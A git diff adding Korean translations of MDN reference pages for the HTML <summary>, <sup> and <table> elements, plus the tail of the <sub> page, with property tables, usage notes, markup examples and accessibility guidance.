+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.sub")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>위 첨자를 나타내는 {{HTMLElement("sup")}} 요소. 위 첨자와 아래 첨자가 같은 공간에 공존할 수는 없습니다. 따라서 화학의 질량수/원자 번호 표기 등을 구현하려면 <a href="/ko/docs/Web/MathML">MathML</a>이 필요합니다.</li>
+ <li><a href="/ko/docs/Web/MathML/Element/msub"><code>&lt;msub&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msup"><code>&lt;msup&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msubsup"><code>&lt;msubsup&gt;</code></a> MathML 요소.</li>
+ <li>CSS {{cssxref("vertical-align")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/element/summary/index.html b/files/ko/web/html/element/summary/index.html
new file mode 100644
index 0000000000..4339470b59
--- /dev/null
+++ b/files/ko/web/html/element/summary/index.html
@@ -0,0 +1,151 @@
+---
+title: <summary>
+slug: Web/HTML/Element/summary
+tags:
+ - Element
+ - HTML
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/summary
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML 공개 요약 요소</strong> (<strong><code>&lt;요약&gt;</code></strong>) 요소는 ("상세") 요소의 공개 상자에 대한 요약, 캡션 또는 범례를 지정한다. </span> <code>&lt;요약&gt;</code> 요소를 클릭하면 부모 <code>&lt;상세&gt;</code> 요소의 상태가 열리거나 닫힌다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/summary.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Phrasing content</a> or one element of <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Heading_content">Heading content</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>None, both the start tag and the end tag are mandatory.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parents</th>
+ <td>The {{HTMLElement("details")}} element.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted ARIA roles</th>
+ <td>{{ARIARole("button")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element only includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>The <code>&lt;summary&gt;</code> element's contents can be any heading content, plain text, or HTML that can be used within a paragraph.</p>
+
+<p>A <code>&lt;summary&gt;</code> element may <em>only</em> be used as the first child of a <code>&lt;details&gt;</code> element. When the user clicks on the summary, the parent <code>&lt;details&gt;</code> element is toggled open or closed, and then a {{event("toggle")}} event is sent to the <code>&lt;details&gt;</code> element, which can be used to let you know when this state change occurs.</p>
+
+<h3 id="Default_label_text">Default label text</h3>
+
+<p>If a <code>&lt;details&gt;</code> element's first child is not a <code>&lt;summary&gt;</code> element, the {{Glossary("user agent")}} will use a default string (typically "Details") as the label for the disclosure box.</p>
+
+<h3 id="Default_style">Default style</h3>
+
+<p>Per the HTML specification, the default style for <code>&lt;summary&gt;</code> elements includes <code>display: list-item</code>. This makes it possible to change or remove the icon displayed as the disclosure widget next to the label from the default, which is typically a triangle.</p>
+
+<p>You can also change the style to <code>display: block</code> to remove the disclosure triangle.</p>
+
+<p>See the {{anch("Browser compatibility")}} section for details, as not all browsers support full functionality of this element yet.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Below are some examples showing <code>&lt;summary&gt;</code> in use. You can find more examples in the documentation for the {{HTMLElement("details")}} element.</p>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<p>A simple example showing the use of <code>&lt;summary&gt;</code> in a {{HTMLElement("details")}} element:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+ &lt;summary&gt;Overview&lt;/summary&gt;
+ &lt;ol&gt;
+ &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+ &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+ &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+ &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("Basic_example", 650, 120)}}</p>
+
+<h3 id="Summaries_as_headings">Summaries as headings</h3>
+
+<p>You can use heading elements in <code>&lt;summary&gt;</code>, like this:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+ &lt;summary&gt;&lt;h4&gt;Overview&lt;/h4&gt;&lt;/summary&gt;
+ &lt;ol&gt;
+ &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+ &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+ &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+ &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("Summaries_as_headings", 650, 120)}}</p>
+
+<p>This currently has some spacing issues that could be addressed using CSS.</p>
+
+<h3 id="HTML_in_summaries">HTML in summaries</h3>
+
+<p>This example adds some semantics to the <code>&lt;summary&gt;</code> element to indicate the label as important:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+ &lt;summary&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/summary&gt;
+ &lt;ol&gt;
+ &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+ &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+ &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+ &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("HTML_in_summaries", 650, 120)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.summary")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("details")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/sup/index.html b/files/ko/web/html/element/sup/index.html
new file mode 100644
index 0000000000..f9478cdd6d
--- /dev/null
+++ b/files/ko/web/html/element/sup/index.html
@@ -0,0 +1,142 @@
+---
+title: '<sup>: 위 첨자 요소'
+slug: Web/HTML/Element/sup
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - 'HTML:Phrasing content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/sup
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML </strong><strong><code>&lt;sup&gt;</code></strong> 요소는 활자 배치를 위 첨자로 해야 하는 인라인 텍스트를 지정합니다.</span> 위 첨자는 보통 더 작은 글씨 크기를 가지고, 기준선을 위로 올려 렌더링 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/sup.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;sup&gt;</code> 요소는 타이포그래피적인 이유에 맞춰서만 사용해야 합니다. 타이포그래피적 이유란 기존의 관례나 표준이 위 첨자로 나타내는 경우를 말하며, 단순히 작은 글자를 위로 올려야 할 때는 사용해서는 안됩니다.</p>
+
+<p>예를 들어 비즈니스나 상품의 <a href="https://en.wikipedia.org/wiki/Wordmark">워드마크</a> 글씨 기준선을 올려야 한다면 <code>&lt;sup&gt;</code> 대신 CSS(대개 {{cssxref("vertical-align")}})를 사용해야 합니다. <code>vertical-align: super</code>를 사용할 수도 있고, 기준선을 50% 올려야 한다면 <code>vertical-align: 50%</code>로도 쓸 수 있습니다.</p>
+
+<p><code>&lt;sup&gt;</code>의 적절한 사용처의 몇 가지는 다음과 같습니다.</p>
+
+<ul>
+ <li>"x<sup>3</sup>" 등 거듭제곱 연산의 지수 표기. 더 복잡한 표기를 해야 할 경우 <a href="/ko/docs/Web/MathML">MathML</a>을 고려하세요. 아래의 {{anch("지수 표기")}} 예제를 참고하세요.</li>
+ <li class="hidden">Displaying {{interwiki("wikipedia", "superior letter", "superior lettering")}}, which is used in some languages when rendering certain abbreviations. For example, in French, the word "mademoiselle" can be abbreviated "M<sup>lle</sup>"); this is an acceptable use case. See {{anch("Superior lettering")}} for examples.</li>
+ <li>"4<sup>th</sup>" 등 서수 표기. 아래의 {{anch("서수 표기")}} 예제를 참고하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="지수_표기">지수 표기</h3>
+
+<p>위 첨자를 가장 많이 사용할만한 곳 중 하나는 거듭제곱의 지수 표기입니다.</p>
+
+<pre class="brush: html">&lt;p&gt;One of the most common equations in all of physics is
+&lt;var&gt;E&lt;/var&gt;=&lt;var&gt;m&lt;/var&gt;&lt;var&gt;c&lt;/var&gt;&lt;sup&gt;2&lt;/sup&gt;.&lt;p&gt;</pre>
+
+<p>{{EmbedLiveSample("지수_표기", 650, 80)}}</p>
+
+<div class="hidden">
+<h3 id="Superior_lettering">Superior lettering</h3>
+
+<p>Superior lettering is not technically the same thing as superscript. However, it is common to use <code>&lt;sup&gt;</code> to present superior lettering in HTML. Among the most common uses of superior lettering is the presentation of certain abbreviations in French:</p>
+
+<pre class="brush: html">&lt;p&gt;Robert a présenté son rapport à M&lt;sup&gt;lle&lt;/sup&gt; Bernard.&lt;/p&gt;</pre>
+
+<p>The resulting output:</p>
+
+<p>{\{EmbedLiveSample("Superior_lettering", 650, 80)}}</p>
+</div>
+
+<h3 id="서수_표기">서수 표기</h3>
+
+<p>영어 "fourth", 스페인어 "quinto" 등 서수는 숫자와, 위 첨자로 표기한 언어별 특정 텍스트를 사용해 축약할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;p&gt;The ordinal number "fifth" can be abbreviated in various
+languages as follows:&lt;/p&gt;
+&lt;ul&gt;
+ &lt;li&gt;English: 5&lt;sup&gt;th&lt;/sup&gt;&lt;/li&gt;
+ &lt;li&gt;French: 5&lt;sup&gt;ème&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("서수_표기", 650, 160)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.sup")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>아래 첨자를 나타내는 {{HTMLElement("sub")}} 요소. 위 첨자와 아래 첨자가 같은 공간에 공존할 수는 없습니다. 따라서 화학의 질량수/원자 번호 표기 등을 구현하려면 <a href="/ko/docs/Web/MathML">MathML</a>이 필요합니다.</li>
+ <li><a href="/ko/docs/Web/MathML/Element/msub"><code>&lt;msub&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msup"><code>&lt;msup&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msubsup"><code>&lt;msubsup&gt;</code></a> MathML 요소.</li>
+ <li>CSS {{cssxref("vertical-align")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/element/table/index.html b/files/ko/web/html/element/table/index.html
new file mode 100644
index 0000000000..2579638730
--- /dev/null
+++ b/files/ko/web/html/element/table/index.html
@@ -0,0 +1,370 @@
+---
+title: <table>
+slug: Web/HTML/Element/table
+tags:
+ - Element
+ - HTML
+ - HTML tabular data
+ - Reference
+ - Web
+ - 표
+translation_of: Web/HTML/Element/table
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;table&gt;</code> 요소</strong>는 행과 열로 이루어진 표를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/table.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>순서대로,
+ <div class="content-models">
+ <div id="table-mdls">
+ <ol>
+ <li>선택적인 {{HTMLElement("caption")}} 요소</li>
+ <li>0개 이상의 {{HTMLElement("colgroup")}} 요소</li>
+ <li>선택적인 {{HTMLElement("thead")}} 요소</li>
+ <li>다음 중 하나
+ <ul>
+ <li>0개 이상의 {{HTMLElement("tbody")}} 요소</li>
+ <li>0개 이상의 {{HTMLElement("tr")}} 요소</li>
+ </ul>
+ </li>
+ <li>선택적인 {{HTMLElement("tfoot")}} 요소</li>
+ </ol>
+ </div>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTableElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This enumerated attribute indicates how the table must be aligned inside the containing document. It may have the following values:</p>
+
+ <ul>
+ <li><code>left</code>: the table is displayed on the left side of the document;</li>
+ <li><code>center</code>: the table is displayed in the center of the document;</li>
+ <li><code>right</code>: the table is displayed on the right side of the document.</li>
+ </ul>
+
+ <p>Set {{cssxref("margin-left")}} and {{cssxref("margin-right")}} to <code>auto</code> or {{cssxref("margin")}} to <code>0 auto</code> to achieve an effect that is similar to the align attribute.</p>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>The background color of the table. It is a <a href="/en-US/docs/Web/CSS/color_value#RGB_colors">6-digit hexadecimal RGB code</a>, prefixed by a '<code>#</code>'. One of the predefined <a href="/en-US/docs/Web/CSS/color_value#Color_keywords">color kewords</a> can also be used.</p>
+
+ <p>To achieve a similar effect, use the CSS {{cssxref("background-color")}} property.</p>
+ </dd>
+ <dt>{{htmlattrdef("border")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This integer attribute defines, in pixels, the size of the frame surrounding the table. If set to 0, the {{htmlattrxref("frame", "table")}} attribute is set to void.</p>
+
+ <p>To achieve a similar effect, use the CSS {{cssxref("border")}} shorthand property.</p>
+ </dd>
+ <dt>{{htmlattrdef("cellpadding")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute defines the space between the content of a cell and its border, displayed or not. If the cellpadding's length is defined in pixels, this pixel-sized space will be applied to all four sides of the cell's content. If the length is defined using a percentage value, the content will be centered and the total vertical space (top and bottom) will represent this value. The same is true for the total horizontal space (left and right).</p>
+
+ <p>To achieve a similar effect, apply the {{cssxref("border-collapse")}} property to the <code>&lt;table&gt;</code> element, with its value set to collapse, and the {{cssxref("padding")}} property to the {{HTMLElement("td")}} elements.</p>
+ </dd>
+ <dt>{{htmlattrdef("cellspacing")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute defines the size of the space between two cells in a percentage value or pixels. The attribute is applied both horizontally and vertically, to the space between the top of the table and the cells of the first row, the left of the table and the first column, the right of the table and the last column and the bottom of the table and the last row.</p>
+
+ <p>To achieve a similar effect, apply the {{cssxref("border-spacing")}} property to the <code>&lt;table&gt;</code> element. <code>border-spacing</code> does not have any effect if {{cssxref("border-collapse")}} is set to collapse.</p>
+ </dd>
+ <dt>{{htmlattrdef("frame")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This enumerated attribute defines which side of the frame surrounding the table must be displayed.</p>
+
+ <p>To achieve a similar effect, use the {{cssxref("border-style")}} and {{cssxref("border-width")}} properties.</p>
+ </dd>
+ <dt>{{htmlattrdef("rules")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This enumerated attribute defines where rules, i.e. lines, should appear in a table. It can have the following values:</p>
+
+ <ul>
+ <li><code>none</code>, which indicates that no rules will be displayed; it is the default value;</li>
+ <li><code>groups</code>, which will cause the rules to be displayed between row groups (defined by the {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} and {{HTMLElement("tfoot")}} elements) and between column groups (defined by the {{HTMLElement("col")}} and {{HTMLElement("colgroup")}} elements) only;</li>
+ <li><code>rows</code>, which will cause the rules to be displayed between rows;</li>
+ <li><code>columns</code>, which will cause the rules to be displayed between columns;</li>
+ <li><code>all</code>, which will cause the rules to be displayed between rows and columns.</li>
+ </ul>
+
+ <p>To achieve a similar effect, apply the {{cssxref("border")}} property to the appropriate {{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("col")}}, or {{HTMLElement("colgroup")}} elements.</p>
+ </dd>
+ <dt>{{htmlattrdef("summary")}} {{Deprecated_inline}}</dt>
+ <dd>This attribute defines an alternative text that summarizes the content of the table. Use the {{htmlelement("caption")}} element instead.</dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute defines the width of the table. Use the CSS {{cssxref("width")}} property instead.</p>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_표">간단한 표</h3>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td&gt;John&lt;/td&gt;
+ &lt;td&gt;Doe&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Jane&lt;/td&gt;
+ &lt;td&gt;Doe&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('간단한_표', '100%', '100') }}</p>
+
+<h3 id="추가_예제">추가 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;Simple table with header&lt;/p&gt;
+&lt;table&gt;
+ &lt;tr&gt;
+ &lt;th&gt;First name&lt;/th&gt;
+ &lt;th&gt;Last name&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;John&lt;/td&gt;
+ &lt;td&gt;Doe&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Jane&lt;/td&gt;
+ &lt;td&gt;Doe&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with thead, tfoot, and tbody&lt;/p&gt;
+&lt;table&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Header content 1&lt;/th&gt;
+ &lt;th&gt;Header content 2&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tfoot&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Footer content 1&lt;/td&gt;
+ &lt;td&gt;Footer content 2&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tfoot&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Body content 1&lt;/td&gt;
+ &lt;td&gt;Body content 2&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with colgroup&lt;/p&gt;
+&lt;table&gt;
+ &lt;colgroup span="4" class="columns"&gt;&lt;/colgroup&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Countries&lt;/th&gt;
+ &lt;th&gt;Capitals&lt;/th&gt;
+ &lt;th&gt;Population&lt;/th&gt;
+ &lt;th&gt;Language&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;USA&lt;/td&gt;
+ &lt;td&gt;Washington D.C.&lt;/td&gt;
+ &lt;td&gt;309 million&lt;/td&gt;
+ &lt;td&gt;English&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Sweden&lt;/td&gt;
+ &lt;td&gt;Stockholm&lt;/td&gt;
+ &lt;td&gt;9 million&lt;/td&gt;
+ &lt;td&gt;Swedish&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with colgroup and col&lt;/p&gt;
+&lt;table&gt;
+ &lt;colgroup&gt;
+ &lt;col class="column1"&gt;
+ &lt;col class="columns2plus3" span="2"&gt;
+ &lt;/colgroup&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Lime&lt;/th&gt;
+ &lt;th&gt;Lemon&lt;/th&gt;
+ &lt;th&gt;Orange&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Green&lt;/td&gt;
+ &lt;td&gt;Yellow&lt;/td&gt;
+ &lt;td&gt;Orange&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Simple table with caption&lt;/p&gt;
+&lt;table&gt;
+ &lt;caption&gt;Awesome caption&lt;/caption&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Awesome data&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">table
+{
+border-collapse: collapse;
+border-spacing: 0px;
+}
+table, th, td
+{
+padding: 5px;
+border: 1px solid black;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('추가_예제', '100%', '700') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="설명문">설명문</h3>
+
+<p>표의 목적에 대한 명확하고 상세한 설명을 포함하는 {{HTMLElement("caption")}} 요소를 제공하여 사용자가 표 콘텐츠를 확인할지, 넘어갈지 결정할 때 도움을 줄 수 있습니다.</p>
+
+<p>특히 스크린 리더 등 보조 기술 사용자와 낮은 시력의 사용자, 그리고 인지능력의 저하를 겪고 있는 사용자에게 도움이 됩니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Advanced#Adding_a_caption_to_your_table_with_&lt;caption>">MDN Adding a caption to your table with &lt;caption&gt;</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/caption-summary/">Caption &amp; Summary • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+</ul>
+
+<h3 id="행과_열_범위_지정">행과 열 범위 지정</h3>
+
+<p>간단한 표의 경우 범위를 자동으로 유추할 수 있기 때문에, 헤더 요소의 {{htmlattrxref("scope", "th")}} 특성은 불필요합니다. 그러나 일부 보조 기술이 잘못된 범위를 유추하는 경우도 있기 때문에, 범위를 지정하는 것이 사용자 경험에 도움이 될 수도 있습니다. 복잡한 표에서는 범위를 명시해서 특정 헤더와 연관된 칸에 대한 정보를 제공할 수 있습니다.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;caption&gt;Color names and values&lt;/caption&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;th scope="col"&gt;Name&lt;/th&gt;
+ &lt;th scope="col"&gt;HEX&lt;/th&gt;
+ &lt;th scope="col"&gt;HSLa&lt;/th&gt;
+ &lt;th scope="col"&gt;RGBa&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th scope="row"&gt;Teal&lt;/th&gt;
+ &lt;td&gt;&lt;code&gt;#51F6F6&lt;/code&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;code&gt;hsla(180, 90%, 64%, 1)&lt;/code&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;code&gt;rgba(81, 246, 246, 1)&lt;/code&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;th scope="row"&gt;Goldenrod&lt;/th&gt;
+ &lt;td&gt;&lt;code&gt;#F6BC57&lt;/code&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;code&gt;hsla(38, 90%, 65%, 1)&lt;/code&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;code&gt;rgba(246, 188, 87, 1)&lt;/code&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<p>{{htmlelement("th")}} 요소에 <code>scope="col"</code>을 선언함으로써, 해당 칸이 열의 맨 위에 위치함을 설명할 수 있습니다. 마찬가지로, <code>scope="row"</code>를 추가하면 해당 칸이 행의 맨 앞에 위치함을 설명합니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Advanced#Tables_for_visually_impaired_users">MDN Tables for visually impaired users</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/two-headers/">Tables with two headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/irregular/">Tables with irregular headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H63.html">H63: Using the scope attribute to associate header cells and data cells in data tables | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h3 id="복잡한_표">복잡한 표</h3>
+
+<p>너무나 복잡해서 헤더 칸을 확실히 가로 또는 세로로 연결할 수 없는 표의 경우, 스크린 리더와 같은 보조 기술이 분석할 때 어려움을 겪을 수 있습니다. 보통 {{htmlattrxref("colspan", "td")}}과 {htmlattrxref("rowspan", "td")}} 특성이 존재하는 경우 이 정도로 복잡한 표라고 할 수 있습니다.</p>
+
